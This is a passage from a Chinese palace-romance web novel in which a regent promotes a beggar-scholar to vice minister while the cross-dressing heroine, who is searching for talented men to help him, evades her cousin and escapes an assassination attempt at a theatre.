气得端王命人把他拖走。 “楚世子，你别来我这发疯，你表妹不在我这里。 而且我看你活得也不错啊，没准再过几天都能当爹了，何苦非要找一个自己看不起的傻姑娘呢。 不想给名分，自然有人想。” “所以，你知道我表妹在哪？” 楚衍诺还是挺能抓重点的，他被人拖着，声嘶力竭的冲端王喊：“还我表妹，还我表妹，还我表妹……” …… 周川行和孙卿兆聊了将近一宿，天快亮，他才放人。 “后天早朝，你跟端王过去，先去县衙锻炼锻炼。” 这是平步青云了，孙卿兆激动的无法形容。 他跪地磕头，“谢王爷大恩，草民定当缬草衔环，报答王爷知遇之恩。” 周川行心说，你该谢的应该是小姑娘。 不过不好暴露小姑娘的身份。 孙卿兆还有事情要说：“草民还有个不情之请……” 周川行困了，抿口凉茶，道：“说。” 孙卿兆：“彩月楼比赛，拿了第一名的是寒兮，王爷是否给他安排了职位……” 周川行不悦道：“朝廷的官职你以为是大白菜，想给谁就给谁！” 孙卿兆：“可他比我有才华，我都能直接做官，他更可以了。” 周川行来了兴致，“你们两个，我只能提拔一个，你觉得是谁？” 孙卿兆有些为难，迟疑片刻还是说：“请王爷收回成命，我不做官了，寒兮他比我聪明，他比我更合适。” 周川行好奇道：“这官位来的可不容易，错过这个机会，只怕再也求不来了。” 孙卿兆如实回道：“寒兮对我有赠衣之恩，如果不是他，我连彩月楼都进不去，又哪来的名次，更无法被王爷注意到。 草民知恩图报，真心希望他能遇到伯乐。” 周川行实在太困了，“他我已经找过了，无心做官，这事你就别操心了，退下吧。” 孙卿兆离开王府，还在纳闷，寒兮为什么不想做官？ 可惜他不知道寒兮的住址，否则非当面问问，这么好的机会为什么不珍惜。 如果寒兮愿意做官，他们就可以同朝为臣经常见面了。 可惜了…… 唐兮暖听说周川行又是一宿没睡，心疼得眼眶发红，险些掉下金豆豆。 “小倩，你说我到底怎么才能帮他呢？” 王府的帐根本没法管，有师爷处理完全没问题。 关键入不敷出，她一想到王爷每个月都要拿出王府的私产替朝廷垫付军用开支就替王爷心疼。 小倩一个小丫鬟，哪想得到主意。 “小姐，您还是好好修养身体吧，只要您身体好，对王爷来说就是帮助了。” 唐兮暖不否认小倩的话没错。 可她还是想做点实实在在的帮助王爷。 “对了，咱们变卖了珠宝首饰那些银票呢？” 小倩为难道：“小姐，您不是要把这些银票给王爷吧？” 唐兮暖对谁好都是一心一意，不藏半点私心。 如今她是真心实意要帮周川行，知道他缺钱，自然要把自己所有全都给他。 “咱们留着银子又没用。” 小倩可不这么想，“万一，奴婢是说万一，哪天王府容不下您，咱们身上没银子怎么行。” 唐兮暖忽然升起一抹戒备心里。 侯府都不能长久，王府真的可以吗？ “那要不我们拿出五千两，留下两千两，你说呢？” 小倩觉得这个办法还不错。 两千两银子虽然不多，可遇到难处也能支应一阵子，那时再想办法。 “奴婢给您取去。” 唐兮暖没把银子给周川行，而是直接交到了账房。 师爷哪敢收她的银子。 唐兮暖严肃道：“是王爷让我交过来的。” 师爷不明所以，只好收下，不过有时间肯定要向王爷汇报。 周川行本来想把孙卿兆安排在县衙，锻炼一段时间。 可早朝，他下旨的时候被吏部侍郎给拦住了。 “王爷，孙卿兆一个身份不明的臭叫花子，怎么能直接去县衙。” 周川行逆反心里来了，“那你觉得他应该怎么安置？” 吏部侍郎义愤填膺道：“应该通过科举。” 这话把周川行说笑了：“你也是通过科举上来的？” 吏部侍郎得意道：“微臣当然不是，微臣是右丞相提拔的。” 周川行当场发火了，“怎么右丞相可以提拔你，本王就不可以提拔孙卿兆？你是说本王不如丞相？” 吏部侍郎吓坏了，当场跪地求饶。 周川行正要杀鸡儆猴，“既然你质疑本王，干脆你也别在这朝堂碍眼了，省得咱们互不顺眼，拟旨，原吏部侍郎才不堪大用，降为从五品员外郎，孙卿兆升为正四品吏部侍郎。” 原吏部侍郎是右丞相推荐的。 忽然降为从五品，还把一个叫花子提拔上来，当然不愿意了。 “王爷……”他打算据理力争。 周川行根本不给他机会，“怎么，丞相当够了，打算让位？” 他抬手一指，“看了没，金銮殿的大柱子，你往上一撞，撞出个头破血流，本王立马收回旨意。” 右丞相都六十多岁了，撞一下不怕。 撞个头破血流，还不得没了半条命。 是以嗫喏着回了队伍。 周川行眉眼一敛，目光威严地扫了一圈众位臣子，“哪位臣工还有意见？” 要么撞柱，要么把自己的位置让出去，这谁敢赌。 他话音落了半天，也没人吭声。 周川行十分满意，“既然众位爱卿都很满意，那本王也很满意，就这样吧。” 散朝后，端王给周川行竖大拇指，“二哥，你越来越有君王的样子了。” 周川行也是没办法。 被扔在这个群狼t环伺的朝堂，他想不进步都难。 “你也用点心，别整天不务正业。” 端王是个想得开的性子，有一天过好一天。 “楚世子你打算怎么办，这几天赖在我那了，说是找不到人不罢休。” 周川行皱了皱眉，“通知户部尚书，下次朝会再见不到户部侍郎，他们两个都不用来了。” 端王很快明白了周川行的用意。 “确实应该给他找点事干，否则整天带着人满大街搜罗，弄得人心惶惶，谁都不安生。” 周川行又道：“把魏敏昭给我叫过来。” 端王诧异道：“你找他干什么？对了，这次帮楚世子找到线索的就是他。” 周川行：“我看他闲的很，让他去禁军，都该成家立业的人了，整天跟着楚世子混能有什么出息。” 端王不由得给他二哥竖大拇指，“二哥，你这招高，就让楚世子成为孤家寡人，看他能折腾出什么花来。” …… 孙卿兆进入吏部，一下升为正四品的吏部侍郎。 这可真是坐上青云梯，一步登天了。 要说最高兴的人，当属唐兮暖了。 因为人是她举荐的。 得到消息这天，她早早来到小勤政殿等着。 一见到周川行就问：“二郎，孙卿兆真能办好差事吗？” 孙卿兆确实有大才，但能不能办好差事，周川行不确定。 毕竟朝廷由好几大党羽把持着。 他能不能在如此凶险的环境中杀出重围，谁也不清楚。 不过小姑娘问起，他自然要给认真的回答：“应该可以吧。” 就算办不好，也要给那些老东西搅搅浑水，免得他们绑到一起给自己找麻烦。 唐兮暖又问：“那他是不是帮到你了？” 这个问题不用犹豫，周川行点头：“帮到了。” 唐兮暖高兴了，“他是我发现的人才，他帮到你就是我帮到你，二郎，你开不开心？” 面对如此娇柔软糯的小姑娘，周川行怎么可能不开心。 “开心，”他捏了捏唐兮暖的鼻子，“我就知道，你是我的福星。” 唐兮暖忽然来了精神，“那我以后给你找很多很多人才，让他们一起帮你做事，这样你就不用那么辛苦，那么累了。” 周川行心口微热，“你心疼我？” 魏公公在旁边插话道，“唐姑娘可心疼王爷了，前两天听说王爷整宿没睡，眼泪都落下来了，非要想办法帮您分担。” 周川行满心感动地瞧着小姑娘。 唐兮暖有些不好意思，“可惜我什么都做不好，帮不上你。” “怎么会做不好，”周川行真心实意地说道，“如果没有你，我就不会去彩月楼，自然不会发现姚麟，如今他也去户部了，做的还不错。 没有你，也就没有孙卿兆，你没瞧见朝堂里那些老家伙，一个脸色比一个脸色黑。” “你是说，”唐兮暖眼睛亮晶晶的，“这两件事，都有我的功劳？” “那当然，”周川行眼里尽是赞许，唐兮暖得意了。 感觉自己的小尾巴要翘起来。 原来她也能帮助别人，影响别人的人生。 “二郎，我好开心。” 周川行对唐兮暖的情况非常满意，特别大方的吩咐魏公公：“这段时间你们照顾唐姑娘有功，都赏。” 魏公公急忙谢恩，“是唐姑娘聪明，学习快，进步快，老奴可不敢鞠躬。” 周川行拿出一百两银子，“具体怎么分，你看着办吧。” 魏公公乐乐呵呵拿着银票去了。 唐兮暖有些心疼，她悄悄问周川行，“我们这么花银子，真的可以吗？” 王府现在每天都入不敷出，她都担心哪天吃不上饭。 周川行发现她现在思考的东西越来越多。 满心欣慰。 “再穷，也得把我们家小姑娘养得白白胖胖。” 唐兮暖喜欢听他喊自己是他的小姑娘，开心之余抓着他的手臂，踮起脚飞快地在他唇上亲了一下。 “二郎，你真好。” 她转身要跑，被人强势拉回去。 “就一下吗？” 唐兮暖犹豫片刻，又凑过去亲了一下。 “这样？” 周川行低低笑了起来。 笑声自胸腔而起，听起来十分动人。 唐兮暖不由得红了脸，“你坏，不理你了，”她转身跑了出去。 周川行目送小姑娘像只蝴蝶似的飞走，笑容逐渐恣意。 他好像…… 恋爱了。 人才可以帮助周川行这事，唐兮暖牢牢记在心里。 尤其孙卿兆进了户部和那帮老臣斗智斗勇，竟然没吃到什么亏，唐兮暖听说之后，越发迫切寻找人才。 这天吃过早饭，她换好男装带小倩出门。 百合和连翘因为谁跟着唐兮暖，谁做暗卫吵起来了。 唐兮暖往外走的时候，两个人还在争论。 且谁都不肯退步。 百合指责连翘霸道：“我们执行任务本来就是轮流，你都跟着唐姑娘多少次了，也该轮到我了。” 连翘不服气指责回去：“我有经验，知道怎么保护唐姑娘，你知道吗？” …… 唐兮暖听她们吵得有趣，好奇道：“你们为什么不愿意做暗卫？” 百合有一肚子苦水，“唐姑娘，您不知道，主子有要求，您遇到什么事，我们最晚也得在十个数内赶到，这就不能离您太远。 可离近了，哪有那么多可以藏身的地方。 既不影响您，又不被别人发现。 您去彩月楼第一天，我在烟囱上蹲了大半天。 您去彩月楼第二天，我在旁边的楼角单脚着地，坚持了一上午。 上次您和王爷出去，我为了抢一个角度好的树杈子还和别家的暗卫打起来了…… 唐姑娘，您说做暗卫容易吗。 又不是看话本子，嗖的一下，暗卫就飞了。 那飞了也得有个去处吧，我们又不会隐身。” 唐兮暖听得懵懵懂懂。 她竟然不知道暗卫里边这么多门道。 “都什么人会带暗卫？你上次和谁家的暗卫打起来了？” 第42章 百合说了半天,唐姑娘的关注点好像不一样。 “一般王公大臣，公主小姐出门都会带吧。 上次和我抢地盘的好像是睿王的人。” “睿王是谁？”唐兮暖好奇宝宝，问题越来越多。 百合如实回道：“就是咱们王爷的弟弟。” 唐兮暖忽然意识到自己忽略了一件很重要的事,“那咱家王爷是什么王？” 百合：“咱家王爷是秦王啊，原来是御王，去年皇上改了,改封秦王。 端王就是每天跟咱家王爷在一起的王爷，也是咱家王爷的亲弟弟。” 唐兮暖：“那睿王不是亲弟弟吗？” 百合：“咱家王爷和皇上、端王以及朝栎公主都是一母同胞，睿王是德太妃所生，也算是亲弟弟吧，肯定没有一个母亲的兄弟亲。” 唐兮暖还是第一次听说这事。 侯府里所有孩子都是姑母所生。 她很自然的以为，同一个父亲的孩子便有同一个母亲。 原来不是。 话题越扯越远，百合拉回正题，“唐姑娘，您还没说了，让我们谁跟你出去呢。” 唐兮暖也有些为难,“要不你们四个跟我一起。” 连翘急忙拒绝，“王爷说了,不让我们四个同时出现。” 唐兮暖疑惑道：“那是为什么？” 连翘也不懂：“可能担心不安全吧。” 唐兮暖弄不清楚里边的猫腻。 “那要不……你们两个石头剪子布,谁赢了谁跟我出去。” 百合输了。 负气一般拉着黄芪出门。 紫苏颇有些无语的训斥连翘，“你以后别跟百合吵。” 连翘左耳朵进右耳朵冒,“反正我喜欢跟姑娘出去，你不愿意,你可以跟黄芪换呀。” 紫苏拿她没办法，“你……” 唐兮暖一心惦记着给周川行找人才，出了王府，只管往年轻人身上盯。 可人才哪那么容易找。 她转了好几天都没碰到。 说来也巧,今天竟然意外遇到了孙卿兆。 他已经顺利进了吏部。 人还住客栈，周川行赐了宅子。 不过他还没搬，一直惦记着寒兮，却一直无缘见面。 不过也坚持不了几天。 哪有四品朝廷大员一直住客栈的，再等几天见不到寒兮，他不搬也得搬了。 “寒老弟，”孙卿兆看见寒兮，比见到亲人都高兴，“你可叫我好找。” 唐兮暖看见他也高兴，“听说孙大哥进吏部了，恭喜恭喜。” 如今她应付起朋友越来越娴熟，已经能很自然地行拱手礼。 小扇子也被她玩得花样繁多。 孙卿兆惊讶道：“你知道我进吏部？” 随后又淡定下来。 寒兮一看就不是普通人，不是皇亲国戚，也是豪门世家出身。 摄政王力排众议，当着满朝文武打了右丞相的脸，满京城都知道的事，寒兮怎么可能没听说。 “是啊，”唐兮暖第一次编造谎言，“听家兄提起了。” 孙卿兆请他进茶楼叙旧，“对了，寒老弟怎么不入朝当官，t我跟王爷提了你，王爷说你无意做官。” 唐兮暖看了一眼小倩，继续编造谎言，“我自在惯了，做了官身不由己就没办法这么自在了。” 孙卿兆不由得在心里感叹，果然是大富大贵人家的公子，多少人费尽心思也就混个秀才。 人家有进入朝堂的机会都不稀罕。 “寒老弟，王爷赏我的宅子就在前边那条街，以后再找我，就去那边，第五家就是。” 他把位置指给唐兮暖看。 唐兮暖记住了，“好，有时间我去找你玩。” 接下来，孙卿兆讲了不少这几天进入吏部的趣事。 尤其是摄政王力排众议那段。 “寒公子，你是没看见，摄政王本来是想让我去县衙历练，也就七八品吧，吏部侍郎当场表示不满，还要给摄政王难堪。 摄政王就问他：‘你的官职又是怎么来的？’ 吏部侍郎还挺得意，说是右丞相举荐。 寒老弟，你猜接下来摄政王说了什么？” 唐兮暖想象不到，“孙大哥，你快说，摄政王说了什么？” 孙卿兆学着周川行霸道嚣张的样子，开口：“怎么右丞相可以提拔你，本王就不可以提拔孙卿兆？ 你是说本王不如丞相？ 吓得吏部侍郎差点尿裤子，当即跪地磕头认罪。” 唐兮暖想象着周川行霸道的样子，那个连亲亲抱抱都不会的男人朝堂上竟然如此威风。 可惜她无缘亲见。 …… 接下来唐兮暖也把自己的烦恼说给孙卿兆听。 “孙大哥，你说怎么才能发现很多很多人才呢？” 这个问题孙卿兆还真有感悟。 “那看你想找什么样的人才了。” 一般的人家缺少人才，无非就是管家、算师、教书先生等等。 孙卿兆很自然的认为寒家缺的也是这些人。 “你可以写份告示贴到大街上，有人看见自然会找上门。” “这么容易？”唐兮暖暗悔自己竟然没想到。 孙卿兆：“当然了，你把需求说下来，我帮你写。” 唐兮暖稍微沉思片刻，说道：“那你帮我写，就写能帮助朝廷征税，安抚百姓，会带兵打仗，懂朝政大事……” 孙卿兆一个字都没写下去。 这哪是招管家，这是招宰相。 “寒老弟，你这……该是皇上操心的吧。” 如果不是皇上卧病在床，唐兮暖又实在年轻，他都要怀疑皇上微服出巡了。 唐兮暖诧异道：“这样不行吗？” 孙卿兆看得出来，她是真的不懂。 “确实不行。” 唐兮暖叹了口气，“可是我答应了兄长，帮他呢，这可怎么好。” 孙卿兆脑子灵活，很快想到了主意。 “寒老弟，今年举荐参加科举的人员名单都呈上去了，要说这朝廷选材，还得通过科举。 再过段时间，全国各地的学子便会赶来京城，到时候谁有才，谁没才，咱们可以提前瞧瞧啊。” 唐兮暖明白了，“你真聪明。” 孙卿兆有些不好意思，“我哪能和你比。” 寒兮算学大赛冠军，他才是第二名。 唐兮暖又说：“到时候就可以找王爷让他直接安排官职了。” 孙卿兆嘘了一声，“这话可不能乱说，咱们可没有给王爷举荐的权利。” 唐兮暖心生诧异：“为什么？” 孙卿兆悄声道：“容易被误会安插自己人，说小点是拉帮结派，说大点就是搞党争，这可是要杀头的。” 唐兮暖吓了一跳，竟然还有这种说法。 “原来不能随便给王爷举荐呢。” 不过孙卿兆很快又改了说法。 “朝廷现在的情况，倒也没那么多忌讳，因为这些年所有官职都是通过举荐来的，早已经形成了帮派。” 唐兮暖一下接收不了那么多事情。 她只捡喜欢听的放进心里。 “小……公子，”小倩忽然赶过来挡住她的脸，“世子爷来了。” 唐兮暖一惊，起身要跑，可楚衍诺已经带人进了茶楼。 唐兮暖只能老老实实坐好。 她打开折扇，稍微侧一下身子，将背影留给楚衍诺。 有一下没一下的扇起来。 楚衍诺已经开始当值。 户部尚书通知他再不上朝永远都不用上了。 好不容易谋求的官职，他不可能放弃。 这几天找表妹只能下了值，或者中间找出门办差的借口。 可惜一无所获。 表妹好像人间蒸发了，竟然一点消息都打听不到。 虽然怀疑端王，可只有端王和小倩接触的线索，并没有人见过表妹或者小倩进过端王府。 唐兮暖觉得自己把一辈子的心机都花在避开表哥这件事上了。 她不想见表哥，和他也无话可说。 她用水在桌子上写下一行字。 随后示意孙卿兆低头。 “帮我拖住楚世子。” 孙卿兆不知道寒兮和楚世子什么矛盾，不过寒兮吩咐，他肯定竭尽所能。 在楚世子转头看向他这边的时候，立刻起身，一边客气的行礼一边赶过去打招呼。 “楚世子，好巧啊，竟然能在茶楼相遇。” 他故作大方道，“不如楚世子这杯茶，在下请了。” 楚衍诺很瞧不起这位新上任的吏部侍郎。 按理两个人同品级。 一个户部侍郎，一个吏部侍郎。 可吏部为六部之首。 这么算下来，孙卿兆还高了他一些。 一个连衣服都穿不起的花子，怎么配和他同朝为官。 也不知道摄政王中蛊了还是昏头了。 此刻，他连个正眼都没给孙卿兆。 自然也就没见到他身后正在悄悄离开的表妹。 唐兮暖第一次做这么刺激的事，一颗心险些跳出嗓子眼儿。 侯府虽然是个安全的避风港，可也是一个巨大的牢笼。 她再也不要回到那里，过那种永远没有盼头的日子。 而且，表哥从来没有尊重过她。 从来没问过她想要什么样的日子，喜欢什么，想做什么。 他只会按照自己的想法去安排她的生活。 命人看着她，监视着她。 从不许她出府一步。 最近她感觉自己成长很多。 出来不过一个月，可她觉得比以往十九年所经历的事情都多。 她喜欢这样的生活。 现在的自己才是一个人，一个有价值的人。 “好险，”唐兮暖逃出客栈，后知后觉地拍着胸脯。 小倩比她还紧张，“万一被世子爷抓回去，小姐还能活，我大概要被他打死。” 紫苏和连翘一直跟在身后。 连翘无语道：“你们两个把我们当成什么，我会让他把你们抓走？” 唐兮暖忘了这茬，“小事情啦，两位姐姐别气，能不动手就不动手啦。” 小倩也说：“你们不知道世子爷多变态，他要是认出小姐，肯定会盯死小姐，以后就没这么自由了。” 孙卿兆眼角的余光瞥见寒兮安全出门，对楚世子也没了刚才的客气。 “既然楚世子没有闲情和在下喝茶，那在下就告辞了。” 语毕，他也不等楚衍诺开口，转身出了屋。 楚衍诺皱眉，总觉得不太对劲。 “刚才，孙卿兆和谁在吃饭？” 楚衍诺的贴身小厮回道：“两个男的，两个女的，都是生面孔，不认识。” 楚衍诺很自然的当成孙卿兆的狐朋狗友，“也不知道怎么巴结上摄政王的，一个花子也能一步登天了。” 唐兮暖还没玩够，看见孙卿兆出来，邀请道：“我们去看戏啊。” 她还没进过戏楼，听说里边可热闹了。 孙卿兆当然不会拒绝，“好啊。” 戏楼收费不高，二十个铜板便可以看一场戏。 不过只能随大家一起看，想要单点便要十两银子。 唐兮暖听明白掌柜的介绍，很想看一场《杨门虎将》，不过想到王府那么穷就舍不得十两银子了。 “咱们还是随便看看好了。” 他让小倩付款，连同紫苏、连翘和孙卿兆的。 正在上演的是《王宝钏苦守寒窑十八载》，连翘不想看，“公子，咱单点一场？” 唐兮暖毫不犹豫拒绝：“那要十两银子呢。” 连翘笑道：“有人给咱报销。” 唐兮暖还是不同意：“王爷穷的很，还是算了。” 连翘还能说什么，堂堂王爷的女人连十两银子都舍不得。 “其实薛平贵也挺好看。” 王宝钏吃糠咽菜十八载，薛平贵却另娶她人。 唐兮暖很不喜欢这部戏。 好在她也没机会看完。 因为戏楼忽然冒出很多黑衣杀手，直奔孙卿兆。 唐兮暖又惊又怕拉着小倩急急躲到桌子下。 紫苏下意识护在唐兮暖和小倩身前。 连翘提剑扑上去，和几名黑衣人缠斗起来。 黑衣杀手武功都一般，连翘一个人足以对付。 正蹲树杈子腿麻的百合和黄芪就没动。 孙卿兆吓出一身冷汗。 他一个花子出t身，京城没有仇人，只能是他之前罢黜丞相那番言论传出去了，有人要杀他。 发现跟着寒兮的连翘武功如此高强，又见紫苏手持长剑站在寒兮面前，目光冷峻，杀气外露，知道她是武功高手，急忙跑到她身后躲着。 “留活口，留活口。” 只有连翘一个人出力，还让她留活口，难度增加的不是一点半点。 她一边打一边骂：“不会武功就给我闭嘴，小心姑奶奶刀剑无眼。” 孙卿兆只能闭嘴，不过还是不甘心。 他凑近紫苏说：“你那位朋友，脾气可真暴躁！” 紫苏稳重，不屑与他计较，只凉凉瞥了他一眼。 “想活命，就躲远点。” 眼看着黑衣人扑过来，她提剑便刺向对方。 不过人始终没离开唐兮暖半步。 她的任务是保护唐兮暖，伤一根头发，她都无法和王爷交代。 好好的戏楼一打起来，所有观众便做鸟兽散。 戏楼里桌椅板凳乱飞，花生瓜子成了临时武器，谁抄起来都要丢一把。 掌柜的拦这个拦不住那个，一个比一个凶残。 也是赶巧，有个杀手逃出去，连翘抄起个苹果使劲砸出去，正好打在路过的楚衍诺脑袋上。 楚衍诺找表妹找的正烦着，可巧有不长眼的撞上去。 他一边揉着脑袋，一边怒不可遏的看向戏楼。 竟然有人在里边打架。 他今天带了十几个家丁，大手一挥命令道：“光天化日竟然有人聚众斗殴，全都给我抓起来送县衙。” 黑衣杀手跑了几个，被连翘打倒几个，很快被楚衍诺的家丁控制住。 连翘拍了拍手，看向楚衍诺，“这些人就交给你了。” 她说完就要走，却被楚衍诺拦住去路。 “聚众斗殴，可不能只抓一边。” 连翘不悦道：“你什么意思？是这些人要杀孙卿兆，我是见义勇为，你们衙门该发我良好市民奖。” 楚衍诺呵了一声，嘲讽道：“你？见义勇为？我看这场打斗就是你和……” 他看不上孙卿兆，抬手指向对方，“他一起搞起来的，来人，全都给我送县衙。” 孙卿兆理解楚世子看不上他的原因。 毕竟谁愿意看见一个花子和自己同朝为臣，还压自己一头。 他正了正衣冠，走向楚衍诺，“楚世子，你不喜欢我，我理解，可你没必要指黑为白，这些人刺杀我，连翘姑娘帮了我，你有什么不爽的冲着我来，何必难为一个姑娘。” 黑衣杀手仿佛得到提醒，爬起来一口咬定和孙卿兆是聚众斗殴。 楚衍诺非要偏袒。 眼看着这场官司还有的争论。 唐兮暖和小倩一直躲在桌子底下。 她可不想和楚衍诺见面，打算趁他们争吵的时候拉着小倩悄悄溜出去。 楚衍诺刚才看见孙卿兆带朋友喝茶。 物以类聚，人以群分。 他一个都不想放过，眼看着两名少年公子走到门口，拖着长调喊道：“站住！” 唐兮暖后脊梁一寒，脚步仿佛定住一般忽然站住。 小倩急着拉她逃走，“公子，快走。” 唐兮暖忽然反应过来，抬脚就往外跑。 她一跑，引起楚衍诺的警觉，下意识就往外追。 孙卿兆适时拦住他的去路。 “哎，楚世子，我们这桩官司还没断清，您跑什么！” 楚衍诺满腹怒火，想把人扒拉走，“滚开！” 孙卿兆偏不肯走：“楚世子，这么急干什么去？你刚才诬赖我聚众斗殴，这事可还没说清楚，我这才入朝为官就当街聚众斗殴，被那些看不惯我的朝臣知道，还不知道怎么弹劾我，你可得还给我一个清白。” 楚衍诺眼看着两个公子逃出他的视线，急了，“你是无辜的，刚才是我看错了，快点躲开。” 他一挥手，所有侯府家丁冲到外边追人。 楚衍诺紧随其后，熙熙攘攘的大街上到处都是行人，可就是没有他要找的两个影子。 他瞪大眼睛仔细搜寻，还真被他发现些异常。 怎么那么巧，摄政王的马车正好经过！ 他稍一迟疑，命两个家丁跟上摄政王的马车。 虽然他相信摄政王不会和表妹有什么牵连，可摄政王和端王一母同胞，帮忙包庇也不是没可能。 此刻马车里坐的不是别人，正是出来办事的周川行。 恰好撞见唐兮暖和小倩匆匆忙忙从戏楼跑出来，他立刻停住马车把人拉上来。 唐兮暖跑得汗津津的，上车没站稳，好在有周川行挡着，正好扑进他怀里。 “二郎，”有种劫后余生般，她盯着周川行傻笑，“我跑出来了。” 周川行扶着她坐好，亲手将她额头和鼻尖上的汗珠擦掉。 “这么开心？” 唐兮暖毫不掩饰道：“嗯，开心，见到你就开心。” 小姑娘跌跌撞撞奔向他，今天已经是第二次。 周川行通体舒畅，“我也开心。” 不开心的只有楚衍诺。 他返回去质问孙卿兆：“刚才跑走的两个人是谁？” 孙卿兆好笑道：“我为什么要告诉你。” 楚衍诺不依不饶：“今天你不说出来，别想从这里离开。” 孙卿兆就没见过这么不讲道理的人：“楚世子，你别太过分。” 楚衍诺可不觉得自己过分：“他们两个有什么不可见人的，你为什么不肯说？他们为什么躲着我？” 孙卿兆发现寒兮已经走远，倒也不怕告诉楚衍诺。 “楚世子，前几天彩月楼比赛你应该听说过吧，刚才那位公子就是比赛的冠军，还有一位是他的小厮。” “冠军？” 看见孙卿兆点头，楚衍诺满心都是绝望。 他到底在期待什么，明明是两个男人的，他为什么会联想到表妹。 他表妹可是个傻子，绝不可能是算学比赛的冠军。 他是不是思念成疾了，竟然会产生这种幻想。 “表妹，你到底在哪啊——” 第43章 刺杀孙卿兆的幕后很快被查出来。 当天晚上,右丞相睡得正香，卧房里忽然闯进一名黑衣人，割下他一缕头发放到桌旁,并留下字条。 第二天右丞相发现头发和字条，吓得大惊失色。 “孙卿兆死亡之日，就是你丞相府被血洗之时。” 右丞相摸了摸自己的脖子。 幸好半夜里闯进来的人没有害他之心,否则他这项上人头早就不在了。 来人说的很明白，不光要他死，还要他全家死。 听着小孙子在院子里奔跑嬉闹，心脏狠狠抽紧。 “来人，从今天开始，给我保护孙卿兆就像保护本相一样。” 唐兮暖昨天亲眼见识到杀手的厉害，幸亏紫苏和连翘在。 可万一紫苏和连翘不在呢。 当初她打算逃出侯府的时候，曾经画过一张兵器图纸让小倩找人打造出来。 到现在都没消息。 “小倩，你还记得我那份兵器图纸吗？” 逃出侯府，两人先住皇宫后住王府,都很安全。 王爷又派了侍卫，不光有明的还有暗的。 哪里还有危险。 小倩都把这事忘了。 “我交给端王了,一会儿见到他问问,看造什么样了。” 说曹操，曹操就到。 小倩话音还没落看见端王进了院子,赶过去先行礼后问兵器的进展。 最近事情多，端王也把这事忽略了。 “明天去一趟军器局,看看完成没有。” 唐兮暖从来没去过军器局，心里充满好奇，“端王，我能跟你一起去吗？” 端王不太好决定,“你问二哥，他同意我才能带你去。” 周川行对唐兮暖向来有求必应，况且他有意让小姑娘多接触外边的世界，当然不会拒绝。 “二郎，你真是太好了。” 周川行刚批了几份奏折，写的又臭又长，看得他脑袋疼。 竟然有朝臣给他写了一篇上千字的诗歌，鼓吹在他的摄政下大周朝日益蓬勃。 军饷发不出来，收税收不上来，满朝一群废物，也好意思鼓吹。 气得他险些撕了折子。 太阳穴上忽然多出一双柔软的小手，轻重有度的按下来。 小姑娘温热的呼吸擦着他耳边，令人心神荡漾。 被奏章带来的烦躁很快消失散尽，“知道就好。” “我当然知道，”唐兮暖甜腻的声音徐徐吹进周川行耳底，“二郎就是天底下最好最好最好的人。” 周川行身心舒畅，“我家姑娘才是天底下最好最好的人。” …… 端王眼看着两个人浓情蜜意，满心酸水。 他竟然不知道，杀伐果断心狠手辣的二哥谈起恋爱是这副德行。 看得他都想恋爱了。 第二天，宁玉婵带着小倩和端王一起出府。 这次终于不是紫苏和连翘跟着她了。 百合做够了暗卫，走时还冲连翘扮个鬼脸。 “啧啧啧，军器局可没t好的藏身地。” 连翘气呼呼瞪着她：“你——” 唐兮暖的马车走出王府，忽然被人拦住去路。 是彩月楼的李貔貅。 李貔貅冒着触怒摄政王的危险等在这里，浑身紧绷，早已经冒出一身冷汗。 看见唐兮暖的马车出来，一边小跑着赶过去一边擦汗：“寒公子，在下李貔貅求见。” 唐兮暖参加彩月楼组织的比赛，一战成名，况且李貔貅全程都在帮她，虽然大部分时候都在帮倒忙，她心里还是感激的。 “李老板？” 李貔貅看他认出自己，笑呵呵的说道：“公子还记得在下，是在下的荣幸。” 唐兮暖急着去军器局，况且她也不懂怎么和外人寒暄，开口便问：“你找我有事？” 李貔貅四处瞧了一眼，注意到端王坐在马车里，悄声道：“寒公子能不能借一步说话，在下有好事和你说。” 唐兮暖不想下车，“你就在这说。” 李貔貅有些纠结，他不想让端王听见。 “寒公子，还是借一步，在下真有天大的好事要告诉你。” 唐兮暖心里好奇，到底还是下了马车。 两人来到一处外人听不到的地方。 李貔貅神神秘秘地开口：“真是大好事，有人出一百万两银子邀请你参加比赛。” “一百万两？”唐兮暖第一次听说这么多银子。 王府每个月都入不敷出，有这一百万两至少能坚持一年。 可人家无缘无故的怎么会给她一百万两。 “真的？” 李貔貅点头，“当然是真的，我长几个脑袋敢骗您。” 唐兮暖动心了，“什么条件？” 有端王坐在不远处的马车上，李貔貅不好说出来。 “寒公子，咱约个时间细谈。” 唐兮暖稍一犹豫，道：“明天上午我有时间。” 李貔貅笑着行拱手礼，“那我在彩月楼等你。” 眼看着唐兮暖要走，嘱咐道：“这事千万不能让王爷知道。” 唐兮暖表示明白，之后高高兴兴上车了。 端王好奇，李貔貅长了熊心豹子胆竟然当着他面把人叫走密谋。 不过他也不好意思追问。 倒是小倩没忍住：“公子，李老板找你干什么？” 唐兮暖记得李貔貅的嘱咐，不要告诉王爷。 自然也包括端王。 如果是周川行问她，她肯定不会瞒着。 但是没必要告诉端王。 再者，她还不清楚具体事情，还是等明天弄清楚再说。 一百万两啊，她真有能力赚那么多银子吗。 听见小倩问她，她背着端王朝小倩眨眨眼。 小倩会意，转移话题：“我还是第一次去军器局呢，不知道公子的兵器他们打造出来没有。” 端王当然看得出来，唐兮暖有事瞒着他。 他倒是好奇，小姑娘会不会连他二哥一起瞒着。 也是赶巧了，刘大使昨晚赶出来兵器，准备今天进宫呈献给摄政王，却不料工部员外郎一大早过来找麻烦，一个月才能做出来的武器，让他半个月内必须做完。 刘大使一再请求宽限些时日。 可王员外郎说什么都不同意，劈头盖脸把人骂一顿。 刘大使惦记摄政王的兵器，忍气吞声接了差事。 等王员外郎走后，他带上兵器去找摄政王。 两人竟然在门口撞到。 王员外郎看他提着一个很古朴的桃木箱子，认定他去讨好哪个王公大臣，讥讽道：“刘大使办正经差事没时间，殷勤谄媚倒是很在行。” 刘大使气得脸红脖子粗跟他分辨，“这是摄政王吩咐下官做的。” 别人做军器局的大使，三年后必升，他一干就是八年。 但凡会点蝇营狗苟的勾当，也早升上去了，怎么可能还在原地踏步。 因为他没有后盾，也不会疏通关系，经常遭同僚们揶揄嘲笑。 不过他都忍了，今天竟然冤枉他殷勤谄媚，这可把他委屈到了。 “休得胡说！”王员外郎怎么可能相信，“王爷怎么会吩咐你做事，也不看看自己德行，抓紧把这批兵器做出过来，否则别怪我弹劾你，连这个九品大使都没得做。” 唐兮暖跳下马车的时候，正好看见刘大使和王员外郎在争吵。 